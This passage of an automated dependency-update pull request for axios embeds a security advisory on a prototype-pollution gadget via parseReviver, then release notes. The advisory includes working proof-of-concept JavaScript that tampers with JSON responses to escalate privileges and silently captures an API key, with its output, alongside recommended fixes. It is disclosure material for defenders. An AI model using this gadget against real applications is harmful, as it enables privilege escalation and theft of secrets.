axios.get(`http://127.0.0.1:${port}/api/me`); console.log('Before:', JSON.stringify(before.data)); // {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...} // === Simulate Prototype Pollution === let stolen = {}; Object.prototype.parseReviver = function(key, value) { // Silently capture all original values if (key && typeof value !== 'object') stolen[key] = value; // Surgically modify specific values if (key === 'isAdmin') return true; // false → true if (key === 'role') return 'admin'; // viewer → admin if (key === 'canDelete') return true; // false → true if (key === 'balance') return 999999; // 100 → 999999 return value; // everything else unchanged }; // === After Pollution — same code, same URL === const after = await axios.get(`http://127.0.0.1:${port}/api/me`); console.log('After: ', JSON.stringify(after.data)); // {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...} console.log('Stolen:', JSON.stringify(stolen)); // {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"} delete Object.prototype.parseReviver; server.close(); ``` ##### Verified PoC Output ``` [1] Normal request (before pollution): response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false, "balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"} isAdmin: false role: viewer [2] Prototype Pollution: Object.prototype.parseReviver Polluted with selective value modifier [3] Same request (after pollution): response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true, "balance":999999,"permissions":["read","write","delete","admin"], "apiKey":"sk-secret-internal-key"} isAdmin: true (was: false) role: admin (was: viewer) canDelete: true (was: false) balance: 999999 (was: 100) [4] Exfiltrated data (stolen silently): apiKey: sk-secret-internal-key All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false, "balance":100,"apiKey":"sk-secret-internal-key"} [5] Why this bypasses all checks: parseReviver in defaults? NO parseReviver in assertOptions schema? NO parseReviver validated anywhere? NO Must return true? NO — can return ANY value Replaces entire transform? NO — works INSIDE default JSON.parse ``` ##### Impact Analysis ##### 1. Authorization / Privilege Escalation ```javascript // Server returns: {"role":"viewer","isAdmin":false} // Application sees: {"role":"admin","isAdmin":true} // → Application grants admin access to unprivileged user ``` ##### 2. Financial Manipulation ```javascript // Server returns: {"balance":100,"approved":false} // Application sees: {"balance":999999,"approved":true} // → Application approves a transaction that should be rejected ``` ##### 3. Security Control Bypass ```javascript // Server returns: {"mfaRequired":true,"accountLocked":true} // Application sees: {"mfaRequired":false,"accountLocked":false} // → Application skips MFA and unlocks a locked account ``` ##### 4. Silent Data Exfiltration The reviver function receives the **original** value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally. ##### 5. Universal and Invisible - Affects **every** Axios request that receives a JSON response - The response structure is intact — only specific values are changed - No errors, no crashes, no suspicious behavior - Application logs show normal-looking API responses with tampered values ##### Recommended Fix ##### Fix 1: Use `hasOwnProperty` check before using `parseReviver` ```javascript // FIXED: lib/defaults/index.js const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined; return JSON.parse(data, reviver); ``` ##### Fix 2: Use null-prototype config object ```javascript // In lib/core/mergeConfig.js const config = Object.create(null); ``` ##### Fix 3: Validate `parseReviver` type and source ```javascript // FIXED: lib/defaults/index.js const reviver = (typeof this.parseReviver === 'function' && Object.prototype.hasOwnProperty.call(this, 'parseReviver')) ? this.parseReviver : undefined; return JSON.parse(data, reviver); ``` ##### Relationship to Other Reported Gadgets This vulnerability shares the same **root cause class** — unsafe prototype chain traversal on the merged config object — with two other reported gadgets: | Report | PP Target | Code Location | Fix Location | Impact | |---|---|---|---|---| | axios_26 | `transformResponse` | `mergeConfig.js:49` (defaultToConfig2) | `mergeConfig.js` | Credential theft, response replaced with `true` | | axios_30 | `proxy` | `http.js:670` (direct property access) | `http.js` | Full MITM, traffic interception | | **axios_31 (this)** | `parseReviver` | `defaults/index.js:124` (this.parseReviver) | `defaults/index.js` | **Selective JSON value tampering + data exfiltration** | ##### Why These Are Distinct Vulnerabilities 1. **Different polluted properties:** Each targets a different `Object.prototype` key. 2. **Different code paths:** `transformResponse` enters via `mergeConfig`; `proxy` is read directly by `http.js`; `parseReviver` is read inside the default `transformResponse` function's `JSON.parse` call. 3. **Different fix locations:** Fixing `mergeConfig.js` (axios_26) does NOT fix `defaults/index.js:124` (this vulnerability). Fixing `http.js:670` (axios_30) does NOT fix this either. Each requires a separate patch. 4. **Different impact profiles:** `transformResponse` is constrained to return `true`; `proxy` requires a proxy server; `parseReviver` enables constraint-free selective value modification. ##### Comprehensive Fix While each vulnerability requires a location-specific patch, the comprehensive fix is to use **null-prototype objects** (`Object.create(null)`) for the merged config in `mergeConfig.js`, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path — we defer to the maintainer's judgment on this. ##### Resources - [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html) - [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html) - [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx) - [MDN: JSON.parse reviver](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse#the_reviver_parameter) - [Axios GitHub Repository](https://github.com/axios/axios) ##### Timeline | Date | Event | |---|---| | 2026-04-16 | Vulnerability discovered during source code audit | | 2026-04-16 | PoC developed and verified — selective response tampering confirmed | | TBD | Report submitted to vendor via GitHub Security Advisory | #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23](https://github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23) - [https://nvd.nist.gov/vuln/detail/CVE-2026-42044](https://nvd.nist.gov/vuln/detail/CVE-2026-42044) - [https://github.com/axios/axios](https://github.com/axios/axios) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-3w6x-2g7m-8v23) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>axios/axios (axios)</summary> ### [`v1.15.2`](https://github.com/axios/axios/blob/HEAD/CHANGELOG.md#v1152---April-21-2026) [Compare Source](https://github.com/axios/axios/compare/v1.15.1...v1.15.2) This release delivers prototype-pollution hardening for the Node HTTP adapter, adds an opt-in `allowedSocketPaths` allowlist to mitigate SSRF via Unix domain sockets, fixes a keep-alive socket memory leak, and ships supply-chain hardening across CI and security docs. ### [`v1.15.1`](https://github.com/axios/axios/blob/HEAD/CHANGELOG.md#v1151---April-19-2026) [Compare Source](https://github.com/axios/axios/compare/v1.15.0...v1.15.1) This release ships a coordinated set of security hardening fixes across headers, body/redirect limits, multipart handling, and XSRF/prototype-pollution vectors, alongside a broad sweep of bug fixes, test migrations, and threat-model documentation updates. </details> --- ### Configuration 📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIiwic2VjdXJpdHkiXX0=--> Reviewed-on: #32 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |